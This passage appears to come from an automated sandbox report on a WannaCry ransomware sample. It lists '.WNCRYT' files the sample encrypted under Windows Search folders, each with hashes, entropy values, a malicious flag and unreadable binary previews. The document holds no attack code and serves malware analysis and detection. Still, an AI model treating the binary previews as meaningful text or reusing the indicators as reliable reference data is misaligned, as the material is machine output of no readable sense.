                                                                                                                        SSDEEP:768:VU3/A0AafD+npB2yklSDETTb4bD1uJCd7+8R/cj42ar3CriUznmZG1:OeaDy7DCG1gCdVuhiUzmy
                                                                                                                        MD5:AF53720499FC9F32947823CF479EDA0E
                                                                                                                        SHA1:E6481FFEDE9638B85BD7B48EB8C6054E620BB773
                                                                                                                        SHA-256:CA03FF7D0664A14D02BE33A75BAD5D5A06EE0904B0DBB0581AE2075B5697F1BB
                                                                                                                        SHA-512:B519D67FB2771E0426C78A8F8D2EADBE74EA460F607AFD5B7251EBC376BDDCB94DC2F57EDC705A8AC8B8CFD42B7DA5A883A812293B44CBD08A835C79FBA0A309
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......z.|...9.[G.L..MYG....pb..f ..J...oK7..y.2.Q..o:......+X....QOT...i~.:....$..]..Y...z._......e!........E2..!.66.k...T..E....I|"......G.+.J>.f*.G...Lv.K..p.,..5......T.`qT...7...t3.D....O..f.B@....s.E.._.....1`.N..W.z..L.}2....E).B.b@.A.gx.Z.............@....!...p...........Ck^..l..o.....p.e..uULsx?.0a...blB..Q...A.j...7....;K."........%...jl..s.K.0v....../.9d.D..s.[....k*p....f..ZUd...X.6..M.VHlu.......H.).....T<..p..z...7....N.~.AZ..e.Z.....8}.2..j.s.UO.X..nDo=@m.....Tx..T...NT...n....z....@...`..l.,..8.....T.o...X..../7...B1d....7Z.u..eT.Ge{........4...bQ.sr....G.%7|..g_2>7W.@o.g..k.Y6..A9..@.-4...ddU:...."...t..-e.....`.#.O...w .8.K...PJ.AX..I..f..a..........*.%...i.J^.o.........U.vEFF|..Cx>r.ct....z.?...).y.-sje...D.j.hb....k<..._@J........}.X4v....:.z.U.m..bASs.;.{..7.Z.:/.&..em`).*t.7.!5uT..SN...h3..._..(..Xf.G.D|...U.......n.../J...Kd..=....<G..`.M...-m......JpQi.Z...!T...V.}.@.T.JN&l..Ba...!.)J<.z.3v3...,y.s.7.i*q.....c..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{baa231c4-8fc4-4806-b065-5ab82b98bc93}\0.1.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.239703071894662
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEkKFnhysyvbESj8vMwIdTVS3y2zEC9JERTuyNvEIWhjL7hZ6Z2YlThuen:bkEkQ0vbOv/XhpKRTuyNMIW9l4Z2YlTR
                                                                                                                        MD5:A793615BF93699BE700F622FBC1681D2
                                                                                                                        SHA1:3C5C35F79604E646C9000F98F15114AAEC5CD715
                                                                                                                        SHA-256:5C78A1BFF8C3C4E7F4D544FD4D36ABFAA63C7D0931349952EAED38CA73696E5B
                                                                                                                        SHA-512:E5B7766387641C04A94D2AB50FF1BDA8657B10CEFB66EACA321A91995313A968A173F28FFDA712566A2057A3541EE4C02A5A870B738BE3A46001DC0260F98133
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......o !.wf.....,...G4...L..*.......1..;.K`.5.I.KF....J.b....w......>.m......T.+.73.Q.1..%...feG...;...q}@+.....J)>|._..M.'..=..^....9P.......R..W.i.F.,.FZV<.i...6. .0.ZfYn..?^.8.J=.9.1...#.}..I.L;...7...f....e?*..m&_tt.{uq.....N...A.8...^.y7..............$G+u...>..!.."

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{baa231c4-8fc4-4806-b065-5ab82b98bc93}\0.2.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.138464048758124
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEOkR3MaAmlfltzfXtaQZfM/2IHrmhn06Im0UjyTEojGmmf:bkEzR3NAmlflRzU/9rmh2zTETf
                                                                                                                        MD5:7D29AB10DCFB194509CE1E8A6F5F1F49
                                                                                                                        SHA1:82712669B746ECF361EED6126E30CE9DE7FDA570
                                                                                                                        SHA-256:A98A53F3D48F6A9F83F007DC03D0EF110C8B0F08DB5C30A3133D2B11A3A5F110
                                                                                                                        SHA-512:F9E6FC7E21E9F7F006883E697DBE998A7C03871FB8063A8354BFB747AE9A53434C0A61F61A069874011767802EDAADE968638B277178F29DC5D6337509DE8604
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........{..0..lA......h.R}3.&#r.....7.....Q'.*i3..U':..v.......A.FNf%.i..+V...K.$.......)tN{E....%....9....l.7......c.......|....^..1.n|.p&V...n........T..xC....!W!..0.P,.<.~D.C.R.c......9.......$..RF......z.:.U.|...u.#.^.F(o..uN..]......J..................(..Z..R....

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsconversions.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1426184
                                                                                                                        Entropy (8bit):7.999861426726627
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:24576:Y5no5swJF37KHG+sNBwS608CFhEtvN6B0XSO2dnbO0dPZ0XIqwA7QhWjUbE2nK3s:Y5JSF37KmjNB58sUvN6BfdbO+Z0X5wAa
                                                                                                                        MD5:F663CBB5CE0E824ECD584E4269B60D2B
                                                                                                                        SHA1:787772650437E0F9C9694CD1E1F056CE2C04B90D
                                                                                                                        SHA-256:608F21A95827D3B5BB1DA2875DE5A8629E8A52A1F982B06BEF00CE4B801175FE
                                                                                                                        SHA-512:4D098605DACCAF4492F11A94C47F2A03F81C7FDCB50B992241ACEE4E83F8B6F492B235206491A6C138487EFCD3A38E6DD43D8EA1F26C0C46A6A1C0AD98ED0EF4
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!............s.ZF.{."[Z?......9P.C..d.g.-]..a.u..0B(.O-..b..y....t...k1.`q.Y..7.3....u.u.W..h.Q..l.N)7.~..f...K..|......qz...L...x...x..o%..&...%Z...-b=..M..F>..0^.a92...%S.%F.R.m.ilE.4..&jm^..Q......gG.u'p.G*.*.q~uw_...;..}..&.Hk...VG6......+Sa...f.@.l...................=aD.Mc3q....t^.,.C~B.4.$-Y..@wm..x$......'I.[........\Z..8ht.Ox..C.FIy_z6..+.R..6q./c..L#..M/zP...?.$...n3!...<.Dz`..q.:..; #.).L...W..8..|.;B[....s.K....J...+M....~S.`.=[.;.d.....3'.....}....U~PVw..;..pvh...K.S!S..v%r._@h..g....8......c....Y..Ov....h.....o.b<..'Z.....B.....p.xR.........~..9NG.._.Go-......Y...;........a.>..<Wk....d.....0.{/...x.#.T.&..tx{.X.vH.{.`...]-.x.\@1].qsF...Nc..=.......\.j.,e.....Y..0.Q.`..".-f..t..QK3%......E.e.l.c....~..k..Wf..2..#7 .Y.N|.:.E...........vP.....>..:..|.|.K[|.Y...)...8.i.9..M.L.....i.....@0..|WVp...:.....P.<..25`@..K.Y...N..... &..&.m..{.:/L..b...!....v.1.QJ.J@f[....,o.`6..?-.9.....KRi..lMi9.k.M........S...F.'5<...[.'}..fI...xu..n`:e

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsglobals.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):339640
                                                                                                                        Entropy (8bit):7.999469318692194
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:ahjNRbQSoC69QS/WKXXm/uGQal0QE/tKZ4glEgzpkm7pU+ri3+Kq:a121/n2ZrEEZ4gFzp3pUj3Xq
                                                                                                                        MD5:12A15C85ED76D1A163CE89F0EDB5B551
                                                                                                                        SHA1:64266A87D758D7F6F2ECE2FF02004DD3224B6236
                                                                                                                        SHA-256:3EC8BF52AAA8F75A412A08744F73F3CDFE24814D8F628D34A475B787040611AB
                                                                                                                        SHA-512:2C19073A9E95A0FE5D8326C8DAD307C146CB69A1F647B53B4673D2BF5817AB7169FC1398AA6B69096B2B556053790F97E5EFE11FF13CE0C1149CE082A4FCE1DA
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!...... .r.u4F..rXn[....u.o...g..:.....$@.|+.W$.3...e...gQC........F.n......6{.o.z.\D..a...(.l..].......1..q.*..2.@Gp..<.T..k.....b.|....@.-.Ov......2....j...........w..d...b.yo.T.88}.3........&.A......J...t..G=L.j.a.o&`..*.ry..k..}.Sk.fd.-l.+2.....A.....-........T`..2Rp7Q.T.......M.......R..}Q(.?...._._ ..o<..11.g..7.C................-U...>CQMu._./ ..@#.>.:N..2...._.Mr.....'.`R...)\.i#..H..&...c.6`d...ghs.)-..=^+K..1.{.3... ..B..l.6/~.....O.sY.2$3..23K.MZ.0...(....2.wSg.D+1.S*..Lz~."...{.\..).-.....x.E....T..U[.X..Ko...Ws....<......=.2....Z.....z[K.g......+...)C.].V....K..G.TN.t....'3W...q.~x..#..p..../...U..i...+;.._.Y..B.<...!U..D,..a@..#..5....*.w....^......(...+qN.U......=....%.f4YaFYu..fa...p...@G.Q..^.xr...R0L.B....Lq.....sHG....F;...G.....+..t....&9J..... .....}......j"f|y.....@...b..../>:.qP...3...=@..tl..l..E...W@.~...x.+.?}....K..A.....e.o.D.T.d.C.$7"..E.:AB.I8..v...=a..Gn?...<.L.A...q......Y..:....+c).W.._.^i....h..Y.?...

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appssynonyms.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):383288
                                                                                                                        Entropy (8bit):7.999484631810734
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:+jdTNeOG0XvwGRjMWLcAq7J/dG1yMKetVPaIBe58R2mN4Ybfowsh1FeY/Tz7wQmK:+jdTUsRjM17J/dG1v2IsQN4mgpveY37v
                                                                                                                        MD5:0191901CF9F9A0D5357A945BCC5AB194
                                                                                                                        SHA1:909244141FF826888A60EE714D08353DFA2B77D9
                                                                                                                        SHA-256:F781255BE5370C1CDD669BD6954F5C3031702322CCFE49139DD8B6F26F418CA8
                                                                                                                        SHA-512:64F15927271F866AD3E4CF589E26F7A76D354933005166A80AC6BD00C7374C78DA00E7C8D59DE38D434D0A988A3AE4298B21009688A3E946816BAE15759DC6BC
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.......<..d...[9.Q.|[..$...{../.iB._DD. ....(......DP+gF.UQ....)%7...s.ej..5q.h]!..q!.i.oQ'...9.>.6.}f.O..u....4.......a.;TR.N..B}...V.U.*.W(.._..F....mnh.......&OK.........#/..{.....z...MQ.......6.....Q.9......)Tv.7)....q{... .FD1..Su..Rb............v:.....?...:).....I..L.9.SF....g..7.m.@....hzf.i.PHXo'Q..X.].... <....`...B.;..G6..!..}sv.m$Wo}y.n..1..4....g..T.r....&.T.i.W>....x.dOM'......X..=.n..d..l...;...L.KU3.eD.Nz.LJ.\/K`....}..)..e..x...@..pOA..b.....c.b)....R1.3n...5?..U..e...B..k.&..?..2..Z....\.....%u..8..i..9.A..SK.Ww.Q.vZ.w1.v/..eI}Vc....s?%y...N...Y).$&....+XI..B.}..2Y.;.o<.q..B8...._..A) ...j0(......./..W7&..,....q9..N'..v.t.y.=.w._..1....v..@....|.>.NY..d.f.....o..(...[#..g...9...Q..."uU.WAY.M..>....t...B5a.A.1.M{.i..qM...O..Q....|...D...<..,.o...}..........J..?].=...../.C...@&..2?.%.IH..Tjh.4.o.O{....W........^.k/.e..g(d.h.L_9.i].s[.0F.F....../y16....V...r..>..z...JW.......(.w.Z....|El..~.3......./.. .cj.@....

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsconversions.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):533032
                                                                                                                        Entropy (8bit):7.999702455534227
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:pC+rUCI/0cQgZRcaKzhdJ8yg2jV6RC6zEcAFO0RUurIqje:pF4fQgZRc3zhgajQRrRur9je
                                                                                                                        MD5:91E60FE47D54EE1756960C938FC119E1
                                                                                                                        SHA1:4B323BD653C3E13CA58DCA12CCC68D17DC611437
                                                                                                                        SHA-256:C0A44885D9DADE8B895D7185393F73DAC2053693AAC29910A9DDCE65F01705C7
                                                                                                                        SHA-512:818D21C6868CD0C95A71BA06334DE1F32C5F86255728DAAFD1F8A13FAE1CFD6AE62E2952515CF4BA3320562F8B74D758D88636BA1EB40EE49746C4E8307895CA
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......r..&c...U.%..h.E.p.H:.FC^^.~.d./...zk......).9.ZT..7(...Z,.Cc.....xx..9.~..;..].Kt./&.L>DO.I..]......-...)...},C.K...ScZ5Qs....(.....0w%..;.....]M......L.{....:*.)1.i].x.....%2g.".Y.Ay.0|....-..#r.#...Ak.._..T....=..4c..P.qc~%.:.p.m...f....`.....!................v&...*.>4.........).~.3..L.b.Q......U..n*...Q...Y.3..@p...B..-..6.......m..../.Z82G..}-`W]o.h<:%B.2....}\8nV...(^..m.'....|...c.<.q$.i.>..4^L`x..;...!......Sf....&.GE...u..g...x.[...w...r#])r....E ..@.Dr....#c..L.SA......g...4..0,..Ip.D!..&..........2xR.(..X...G]p5.....7....6.[.H4..L.'E..Q...UhC`!].|Y..1-..g.....15k..I.i....W...+..n..t4.].?#*.2G.,[...sJ..qA.Dy`(..b..zzf-.t.#[.I7:.m..x..l)_..V....gT..!....c..*H....$...~..\o.E....$lzt.G/....?..n.u.....Y..p....q.:mUw@..F..... ..S@IK..=ND.=.s....`.....Y).)........[&.....P.o...t.3<...']..M..I.......X.Y..d5_B..T.x.._......I.v...Q..O. ...V.....w.Xjo..q..F..#...#.....v0...p....k.....v^..C..P......7.*..-....|9rk*.......h..O"%b...

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsglobals.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):62648
                                                                                                                        Entropy (8bit):7.997189533847826
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:atmOfPVrhjeGAwNZZNMlCmh3sa/wTg9Pchu163QI29p:agOvCGTZZ7/5g2k1gfmp
                                                                                                                        MD5:91FFE2D3DFA7A2B44EF06AACBEE62373
                                                                                                                        SHA1:A4064881EB9C2DB45253F662A7983F1B5AC47FFF
                                                                                                                        SHA-256:A68697E7CD6BEFD6A38A7FBA9F604B1C45DD3EF026F0A59D759A1930CF06D730
                                                                                                                        SHA-512:32120A57D40450840F1E8C3F176E939CB8D676C4066C2354B41ABF4A024B56D1EA38697F81D38CD76F2D174E1AA56B4D3CE7254208B288099D7B62F13D41DF9B
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....._.Z0...F.SL...e8......L.0D.........#.....|=L.N.7..3*.`..2.+.\.]...o.M.....]f..7.5-..!.l...?tx!..a..F.R...0.i.....a/n....(...{W...vo6....`#.6!.....E..E.l.L.8..0}.w:MYlp..9.&.Lt...i..~..U`.'h.!%w........Y.J..5...k.?h...].O.`...8..I@.X.O*F.`............Z....T.g.f..'..X.DX.N.r.f.m........o.....|..........c...?.M._.....&.G.{C..$|..(..R........j`..sc.0.S#.%........_.....v.1.......rN..Z|.=.....b@ .&..]....\.....w...V%.qS../Vk...J...Z+v.?..0..^...P.C^.s.........;*i...Y2...y.2.s-:`.1.u..NO.D..CWB.?o..H....Z..Q.*H.yXp.IRF-...3x.wU..%vQ.2J..f3...K...@.'..H{.-.i..K_..$..|.PY.....a.=A........"......h...).yE......\1s.....G6`.W.!0..V...K.]69...q..7...v....r.]......jB}_'...T...h..FD..3.v.`..Z.......F{....a^..5.3..b..:+......). .h.x=...F......b.,.].]..tY..vG...o.N.HSB5m._c.v....?...2M7.R..C.s.xY#....k..+......IF..c.....o...M.O.`..e..sfE.B..3...<....k.j..J.Z....#...b...6x.y..jq.._fN.>./G4...x=..Q....z.`...?...q.`.9..f..E6t.X.tI..,v;

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingssynonyms.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):128936
                                                                                                                        Entropy (8bit):7.998724711808832
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:6XRykv0KOcxbxC4Nu3P+UFyu774BBWIYtXS+g3akXXihIaAh:MJ7C4NzZu7ELJ2ibdaU
                                                                                                                        MD5:8448D8C289A5C92686609E2B0887DE52
                                                                                                                        SHA1:25A08C11C33AEF8BF49680B71F0FF37DE7FDFD7E
                                                                                                                        SHA-256:CC60372ABA327D9C4CC9749BB0F513ADCD0CF928BEF5CB6C9BDBCF556C62CF79
                                                                                                                        SHA-512:D67B5FC5296F4B2E131B8794ECAC0DCCBEE1190736EC290EA0A4432B2CF87F6EC91D3C571AA24BFB7BB3D5AF1BA746553AB4E804A530D422E611A90ABB55C6BA
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....g...".....4X...^3..[.s.).w.+$.N|.....k'.zm.C.......y}*.)V..W.S.... .(n..z...K..g.C.&...pd..n?d...@V*M....Z....M1p.g .AHhk..bR.P.....m..oq.x..+.....2...........p..=JS@W.x1..,z.(..a.-.U..@../.V...e.%.2O|z.M.~j."...u..u.1p.*.Y.:...u....bN7+................r.A?......e#.+k{..y.....HR^M.{@q....).C...G.w./.".g....l..."....8.9.W.....^l..R.}.......A.6.b...c.DY.4..,B.Z<.....hO.^.Ui>./...UKT...q..".3F..k..m..;..6..+s..o..c{.U............0.:....r.^.....H.. B...q..jB....... .....5.5}G.uJ.;.L.X..a..5K.\K\.m..@.J^..sJ)....M...m.E..u:.. ..;3..wtrp&...&.pC.^.?.V...pD..D.;...~..<*U.....=s....O.J...\c.... CX.oAS!P..6........z..Q.....Xr...A.........*..'.0d....).....}E'\..}x..`.Q.....;&Hd..O.%..3...5.Z../.8.x-.....H..KX.mg..q..R....)/zG.E.u.)F].K..k,n.[.'.B.p..Z...B.5.N.g.g.."...-.....I........|!".2...h*d.A.pr(..3..B.H.;.........A_!.Y'~...P.Wv#....'..."./=1.3ob.m#...`......lB..w.k]..;}.~D]..?...6...s.y....x..T.]J.S...[...s....#....G3..@S...O.{

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{b5f948f2-ed43-4efa-a5e8-c66e8e4b2569}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):221672
                                                                                                                        Entropy (8bit):7.999238270698789
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:QrdtapeUu7EsKHt4V8mwyiYymMnCslv9Xq81SkEBjjYg:Lu7LmaViYymnsfXb/EBjjl
                                                                                                                        MD5:19D45B00DD600C7C6DFD701493EF20A6
                                                                                                                        SHA1:C9472883FA8B53A36E783305C53426DEEE859F25
                                                                                                                        SHA-256:51BAE5590753E55932EB9339549435E36442990F2FB9394C84DDD6E1C07E1257
                                                                                                                        SHA-512:9AA49CD9D85E1FFCC40DBAFF405668A6E323D8E157429915EE8DC5FAF78BD7A44CBA3D82326232E39F740EA230176977278ED29A1918C6890BB66699A12D66F1
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!........]..Y~.........x......"..}i..q.D.i-.8.L<`...n.*.w5.zo..\.*.:~.......#T!.z..^#..)......11..R...g.....y..n43...Eu..Qy`.+......]D...>.~.?J.V......m.Vk.v.F...m.e.K..!...O ..f.p....[`.f...."....[|.R4..q..6....D........ie...l...|...>.....Y..y......`.......,$.?..H..l.,.d....%...k..w.G......*...]..%.M...lJ7!...862.n.*>.ka.Ej....YG=|.Ka..n.5^k....Tt..4.Y... ..CP....+#..+I.`.c.?N-.^..]."}.|.{%...Z../i'.!Z6...=.."&s.iQ?.v..n...........8t~Mv...%.1.[69.C7;...)..d...w.".4.Z2....."e\...4......q(.......xh*4.....hC..by."a.:7...H}~.!..."*.Kc..2....u;.:.........H.d..h..~...|.|...F...x7..2...t^.}W..h^ay..h"[....4..n..T"3...6e..t'd.....D.%5...rwl>..J..+V.hU^O36...95-Z.&..m...18p...-$G..(h....w.e.n.. ..B.C..N.t5B...A~~..(%q...+...4P....6n.XC*"4..X......pH..c.....}.....L...Ut...d:.|.P.ywW.|\...j?.6.Q.U...i....Y..0...R...[._.h11.N....k...e..vu......QY.7].P.../.r<.G..k.&.W...lb.3.9..t.I.A...:..C..z...56......aq^..w.p.N.-.....;k0.0R..$..T..`...v..o..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{b5f948f2-ed43-4efa-a5e8-c66e8e4b2569}\0.1.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.173791669853018
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkES/lxQlAZ/sRqg62z1borcu+e787gATHaPaZFtEPbQV1Tu2lc/iv:bkEKlmk2xErcu+e787FT6PitSQV1a2qc
                                                                                                                        MD5:6657F45F66CA76D150BC6BA22A8F2C4E
                                                                                                                        SHA1:3C5FA3A6BCD8526EB0901D2DB525A92D3F9FE8EA
                                                                                                                        SHA-256:ABB9302D38FEA691F0B6CD048FC1536D3CC4DC7466DC1B489670A51F8908E43B
                                                                                                                        SHA-512:10033D4AC6EC4F925E458BC720F53E0F779DB5E25ACA972F015D372D1D61802F49E119C2AD55155D9E0953E2FA31B9C2D0A60B124A2173B1545C00644D443852
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....G..L.k.s..x.....N-..k.}hDL.8...l..5..q.J.g|....<7~#..(.9.=Q....e..q.....L.]...T..'.La.XP..E.].T0,5.!..o.."...;...........Y.O..5Q.|..[.....vK....3.G..M...X....Mq...x.....>PSb....2...G.I..t.'}.$..{Y/[.......8.P..C.F.....7..5..D. bI..\. U.w...H............sF~.,.......U.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{b5f948f2-ed43-4efa-a5e8-c66e8e4b2569}\0.2.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.202837305219247
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEDWFg/tYNU9QMRwwEDWhazi277I1wjmBHfj2Kpl/NhS:bkECFg/t5Rw84h06qBHL2wlzS
                                                                                                                        MD5:BD5CBED305E0F2168BA6305724E19B33
                                                                                                                        SHA1:93444DAC0F7E07F5B7BF9BFB0B937A50B8814D02
                                                                                                                        SHA-256:665809BF4C1E8713E6EECED94235E210522F73AAA416610264FB74E83693D300
                                                                                                                        SHA-512:8B059960E8089B8EBADECD41891B23C61D676DB7AC9A296B5EA5FE4040A904A18759EE982CF5EEDCEDF187AD245D32803F296C71DD2667AB7A17A0FBDFB2E1BC
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....o..^m.,....H..Y...E.N........u...8..S...>.c...].[.%.).^w...f'N..S/0.B$.uf.m..V~ZE+oM.Q...p/qA..G,S.[2.?.W....~.f.o.p.....W.3J...u.(..i3\.k.S.".....T..Q...gX{..-gz.6.....d./#,.'....>..ouL.(,.-.w.{.l..!..|...8FH.m.*...$3.c.....D.....O'._....2...v...0.............wI=.L.p.I...D.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{fd8f40a4-ac14-48d6-9ef0-afd19dd2a012}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):214008
                                                                                                                        Entropy (8bit):7.9992105307255645
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:oUCParciMU96c3KuaU+tI94tZjj4GpsryQQQAa+0R/IX+b5KyXoeai:ohSYz5c3PGtpHNsrp5dRQI53Xoeai
                                                                                                                        MD5:0998F858340441925FAD466BFDCE21EB
                                                                                                                        SHA1:97DCA1694448CC3021D6828FA8E751678C03D74B
                                                                                                                        SHA-256:C102DC2C6FA78B629E1A65E4867E6DE79A17BEDB9E68A182E43FA177C68D7CB2
                                                                                                                        SHA-512:1DB063884E660FE41222E474D620DAA00DBE894F1DAA607FEF161EC44FD1E5146D238DD4403824ADF41BA4637D43F7F0DB6344C390AA3A54F4715AE133BFCDC9
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....|....I%........g.h....b..G..\z...l^j.|.#.|..lD.Z c>..{..f...a..r.....7.0>......=,..a...^..6.o\...Kh=..~.@..3...`)....E...<....I.c.6}W.+.....V.........N`.~.t._.~|..2.>..?.,.......O...q.{...v.P6.g.....Uy...M.`..)P~9..'..rg..%.B..r..Y...y..p.30.U..>......B......V..........k%..[.t..i.... X(_._.7.`&I7V_g..V..H7X;s...).#.l.......}H%9.o.UN..Z.........|%.,.l.h..*..|.F......X...Y|._.......Q.LdA.....r$=....CE..o_</...!I..bY.P...{&"...L...B.B.9..KVA......<;..l.U.xco...h.l..s66......=.!Z........,r...+.j...:`'.!.O4.`|.?p.G........n.:s}H.....<!.A6...:.!jnQ....Zz.............WX..;....&...7..;...L.........yK.`..l...0<t.z.._.F{.S..#.P.Jj.H..t0?..\jR..X ......N..9......K.g...w.x.t.D....J.ex8.,...o..x.p.?.1..|.P.>"@[x&.u.5...k....j.L$!..EV.~....H~.O. <.y.,...hR.d.bs..Q.D.......CU'....B.#.`r..R'..mW..d.....{,..eSz../..s..9.f.....X,K^...N/...`7.w.Rfja..k....d<....6..G..... ...9u.[.Hg...#.%$}M.?..\.T.8...@i..G..e....9.N.aQi^..q.>.../..j........l.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{fd8f40a4-ac14-48d6-9ef0-afd19dd2a012}\0.1.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.093854833459905
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEoVzogd2V7ZYrb7gWTuVZpFonUK8dcuRozfQ2j0zh:bkEoUpwgWeaUK8gQi+
                                                                                                                        MD5:F5404EC5E6DEF5C4FCBF260CF1FB4FA9
                                                                                                                        SHA1:A34BA557EE55F2DD4EC70DBF56F80E15B9C7D6AF
                                                                                                                        SHA-256:C08CB3DD2D5A7091F67996D2EDB983EDDB784834B328EDF0FD3CD739561C6E97
                                                                                                                        SHA-512:63B124637E08B181DD058BDE0F97B2B4721C5109CECDE31DAEAA382A3F2A37E2E6A16BA1410CAEF568FE34CCABF8E7F1FE82AA1672659AF0631326D47EF5048A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.........\.!y\......=i.....t........:.. ........0m.._.YGy$.m...P.U6.g........:UZ-....i.D.>.xO.j1-<..$...C?j.!|3:...'k{....>..s..m...<...WB...<....C.A=.....K....Nnh@P..0iO..Q..'57..?K."i'.s...+...b...#j7....~...=.f..w........"......G.irY{~4....S;.p............. aw..C4.=....@

